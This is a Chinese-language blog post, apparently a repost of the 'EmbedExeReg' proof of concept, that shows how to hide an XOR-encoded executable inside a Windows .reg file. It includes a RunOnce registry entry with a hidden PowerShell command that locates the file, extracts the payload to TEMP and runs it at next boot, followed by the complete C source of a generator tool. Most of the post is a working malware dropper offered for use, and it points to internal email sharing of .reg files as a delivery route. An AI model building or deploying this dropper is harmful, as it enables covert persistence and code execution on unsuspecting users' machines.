EmbedExeReg - 在 .REG 文件中嵌入 EXE 并自动执行

作者:Sec-Labs | 发布时间:

今年早些时候,我发布了一个名为“EmbedExeLnk”的概念验证项目——该工具将生成一个包含嵌入式 EXE 有效负载的 Windows 链接 (.lnk) 文件。 我进一步采用了这个概念,并创建了一个工具来生成包含 EXE 有效负载的 Windows 注册表 (.reg) 文件。

.reg 文件包含要导入的注册表项和值的纯文本列表。 这意味着我们可以安排一个程序在下次启动时运行:

REGEDIT4

[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"StartupEntryName"="C:\\test\\program.exe"

由于 Run / RunOnce键允许将参数传递给目标 EXE,我们可以使用它来执行脚本。 以最简单的形式,我们可以在此处插入 PowerShell 命令以从远程服务器下载并执行 EXE。 但是,与之前的 .lnk 概念验证一样,我想更进一步,不需要额外下载。

我首先将一些随机二进制数据附加到有效 .reg 文件的末尾,以查看是否会显示任何错误。 幸运的是,注册表项已正确导入,并且没有出现错误消息 - 到达二进制数据时它静默失败。 这意味着将我们的 EXE 有效负载附加到 .reg 文件的末尾是安全的。

现在我们有了一个包含主要有效负载的 .reg 文件,我们需要创建一个启动命令来执行嵌入式程序。 由于payload将在下次重启后执行,我们在这里遇到的第一个问题是我们不知道.reg文件在目标计算机上的存储位置。 我们不想硬编码特定路径,因此我们将编写一个 PowerShell 命令来在重新启动后自行定位硬盘上的 .reg 文件。

下一个问题是我们无法直接从 .reg 文件执行有效负载,因为 EXE 数据存储在文件末尾。 这意味着 PowerShell 命令还需要从 .reg 文件中提取 EXE 数据,并在执行之前将其复制到单独的 .exe 文件中。

我创建了一个执行上面列出的所有操作的 PowerShell 命令 - 当直接从 cmd.exe,但在插入 RunOnce注册表项时根本没有执行。 在花了一些时间调查此问题后,我发现 Run / RunOnce注册表项的最大值长度似乎约为 256 个字符。 如果一个值超过这个长度,它会被忽略。 我的命令长度超过 500 个字符,这解释了为什么它最初不起作用。

可以采取多种途径来克服命令长度问题。 我决定在加载链中添加一个额外的“阶段”以实现最大的灵活性 - .reg 文件还将包含一个嵌入的 .bat 文件。 原始命令中的大部分逻辑将移至 .bat 数据中,并且 RunOnce值将包含一个简约的 PowerShell 命令来执行嵌入的批处理文件。

我还对我为原始 EmbedExeLnk 项目编写的 EXE 有效负载使用了相同的基本 XOR 加密。

最终的 .reg 文件将具有以下结构:

<.reg data>
<.bat data>
<.exe data>

示例文件:

REGEDIT4

[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"startup_entry"="cmd.exe /c \"PowerShell -windowstyle hidden $reg = gci -Path C:\\ -Recurse *.reg ^| where-object {$_.length -eq 0x000E7964} ^| select -ExpandProperty FullName -First 1; $bat = '%temp%\\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;\""

\xFF\xFF

cmd /c "PowerShell -windowstyle hidden $file = gc '%temp%\\tmpreg.bat' -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = '%temp%\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file^| select -Skip 000640)) -Encoding Byte; ^& $path;"
exit

<encrypted .exe payload data>

上面的示例文件可以分为 3 个部分:

原始 .reg 数据

创建一个名为 startup_entryHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce键 这将导致计算机下次启动时执行以下命令:

cmd.exe /c "PowerShell -windowstyle hidden $reg = gci -Path C:\ -Recurse *.reg ^| where-object {$_.length -eq 0x000E7964} ^| select -ExpandProperty FullName -First 1; $bat = '%temp%\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;"

匹配的 .reg 文件 0x000E7964以定位自身。 然后它将这个 .reg 文件复制到 tmpreg.bat并执行它。

该文件在初始 .reg 数据之后包含 \xFF\xFF - 这不是绝对必要的,但我添加它是为了确保注册表导入解析器失败并在此时停止。

嵌入的 .bat 数据

下一个数据块包含嵌入的 .bat 命令:

cmd /c "PowerShell -windowstyle hidden $file = gc '%temp%\\tmpreg.bat' -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = '%temp%\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file^| select -Skip 000640)) -Encoding Byte; ^& $path;"
exit

此命令从当前文件的末尾提取主 EXE 有效负载。 EXE 起始点的偏移量由生成器工具硬编码( 640 字节)。 EXE 被复制到 TEMP 目录,解密并执行。

注意:当这个 .bat 文件被执行时,它也会在到达 .bat 内容之前执行原始 .reg 文件中的行。 这不应该有任何不利影响,因为它们不是有效的命令。

嵌入的 .exe 数据

最后一个数据块包含加密的 .exe 有效负载。

979edf90b9231357

此方法的主要缺点是需要管理员权限才能导入 .reg 文件。 另一个缺点是主有效负载在下次重新启动之前不会执行,这意味着如果用户在此之前删除 .reg 文件,它将根本不会执行。 虽然不是好的做法,但由于各种原因,.reg 文件通常仍通过组织内部的电子邮件在内部共享。 这意味着它们可能对对手的模拟操作有用。

完整代码如下:

#include <stdio.h>
#include <windows.h>

DWORD CreateRegFile(char *pExePath, char *pOutputRegPath)
{
	char szRegEntry[1024];
	char szBatEntry[1024];
	char szStartupName[64];
	BYTE bXorEncryptValue = 0;
	HANDLE hRegFile = NULL;
	HANDLE hExeFile = NULL;
	DWORD dwExeFileSize = 0;
	DWORD dwTotalFileSize = 0;
	DWORD dwExeFileOffset = 0;
	BYTE *pCmdLinePtr = NULL;
	DWORD dwBytesRead = 0;
	DWORD dwBytesWritten = 0;
	char szOverwriteSearchRegFileSizeValue[16];
	char szOverwriteSkipBytesValue[16];
	BYTE bExeDataBuffer[1024];

	// set xor encrypt value
	bXorEncryptValue = 0x77;

	// set startup entry name
	memset(szStartupName, 0, sizeof(szStartupName));
	strncpy(szStartupName, "startup_entry", sizeof(szStartupName) - 1);

	// generate reg file data (append 0xFF characters at the end to ensure the registry parser breaks after importing the first entry)
	memset(szRegEntry, 0, sizeof(szRegEntry));
	_snprintf(szRegEntry, sizeof(szRegEntry) - 1,
		"REGEDIT4\r\n"
		"\r\n"
		"[HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce]\r\n"
		"\"%s\"=\"cmd.exe /c \\\"powershell -windowstyle hidden $reg = gci -Path C:\\\\ -Recurse *.reg ^| where-object {$_.length -eq 0x00000000} ^| select -ExpandProperty FullName -First 1; $bat = '%%temp%%\\\\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;\\\"\"\r\n"
		"\r\n"
		"\xFF\xFF\r\n"
		"\r\n", szStartupName);

	// generate bat file data
	memset(szBatEntry, 0, sizeof(szBatEntry));
	_snprintf(szBatEntry, sizeof(szBatEntry) - 1,
		"cmd /c \"powershell -windowstyle hidden $file = gc '%%temp%%\\\\tmpreg.bat' -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x%02X }; $path = '%%temp%%\\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file^| select -Skip 000000)) -Encoding Byte; ^& $path;\"\r\n"
		"exit\r\n", bXorEncryptValue);

	// create output reg file
	hRegFile = CreateFile(pOutputRegPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if(hRegFile == INVALID_HANDLE_VALUE)
	{
		printf("Failed to create output file\n");

		return 1;
	}

	// open target exe file
	hExeFile = CreateFile(pExePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if(hExeFile == INVALID_HANDLE_VALUE)
	{
		printf("Failed to open exe file\n");

		// error
		CloseHandle(hRegFile);

		return 1;
	}

	// store exe file size
	dwExeFileSize = GetFileSize(hExeFile, NULL);

	// calculate total file size
	dwTotalFileSize = strlen(szRegEntry) + strlen(szBatEntry) + dwExeFileSize;
	memset(szOverwriteSearchRegFileSizeValue, 0, sizeof(szOverwriteSearchRegFileSizeValue));
	_snprintf(szOverwriteSearchRegFileSizeValue, sizeof(szOverwriteSearchRegFileSizeValue) - 1, "0x%08X", dwTotalFileSize);

	// calculate exe file offset
	dwExeFileOffset = dwTotalFileSize - dwExeFileSize;
	memset(szOverwriteSkipBytesValue, 0, sizeof(szOverwriteSkipBytesValue));
	_snprintf(szOverwriteSkipBytesValue, sizeof(szOverwriteSkipBytesValue) - 1, "%06u", dwExeFileOffset);

	// find the offset value of the total reg file length in the command-line arguments
	pCmdLinePtr = (BYTE*)strstr(szRegEntry, "_.length -eq 0x00000000}");
	if(pCmdLinePtr == NULL)
	{
		// error
		CloseHandle(hExeFile);
		CloseHandle(hRegFile);

		return 1;
	}
	pCmdLinePtr += strlen("_.length -eq ");

	// update value
	memcpy((void*)pCmdLinePtr, (void*)szOverwriteSearchRegFileSizeValue, strlen(szOverwriteSearchRegFileSizeValue));

	// find the offset value of the number of bytes to skip in the command-line arguments
	pCmdLinePtr = (BYTE*)strstr(szBatEntry, "select -Skip 000000)");
	if(pCmdLinePtr == NULL)
	{
		// error
		CloseHandle(hExeFile);
		CloseHandle(hRegFile);

		return 1;
	}
	pCmdLinePtr += strlen("select -Skip ");

	// update value
	memcpy((void*)pCmdLinePtr, (void*)szOverwriteSkipBytesValue, strlen(szOverwriteSkipBytesValue));

	// write szRegEntry
	if(WriteFile(hRegFile, (void*)szRegEntry, strlen(szRegEntry), &dwBytesWritten, NULL) == 0)
	{
		// error
		CloseHandle(hExeFile);
		CloseHandle(hRegFile);

		return 1;
	}

	// write szBatEntry
	if(WriteFile(hRegFile, (void*)szBatEntry, strlen(szBatEntry), &dwBytesWritten, NULL) == 0)
	{
		// error
		CloseHandle(hExeFile);
		CloseHandle(hRegFile);

		return 1;
	}

	// append exe file to the end of the reg file
	for(;;)
	{
		// read data from exe file
		if(ReadFile(hExeFile, bExeDataBuffer, sizeof(bExeDataBuffer), &dwBytesRead, NULL) == 0)
		{
			// error
			CloseHandle(hExeFile);
			CloseHandle(hRegFile);

			return 1;
		}

		// check for end of file
		if(dwBytesRead == 0)
		{
			break;
		}

		// "encrypt" the exe file data
		for(DWORD i = 0; i < dwBytesRead; i++)
		{
			bExeDataBuffer[i] ^= bXorEncryptValue;
		}

		// write data to reg file
		if(WriteFile(hRegFile, bExeDataBuffer, dwBytesRead, &dwBytesWritten, NULL) == 0)
		{
			// error
			CloseHandle(hExeFile);
			CloseHandle(hRegFile);

			return 1;
		}
	}

	// close exe file handle
	CloseHandle(hExeFile);

	// close output file handle
	CloseHandle(hRegFile);

	return 0;
}

int main(int argc, char *argv[])
{
	char *pExePath = NULL;
	char *pOutputRegPath = NULL;

	printf("EmbedExeReg - www.x86matthew.com\n\n");

	if(argc != 3)
	{
		printf("Usage: %s [exe_path] [output_reg_path]\n\n", argv[0]);

		return 1;
	}

	// get params
	pExePath = argv[1];
	pOutputRegPath = argv[2];

	// create a reg file containing the target exe
	if(CreateRegFile(pExePath, pOutputRegPath) != 0)
	{
		printf("Error\n");

		return 1;
	}

	printf("Finished\n");

	return 0;
}

 

 
标签:学习路线, 学习笔记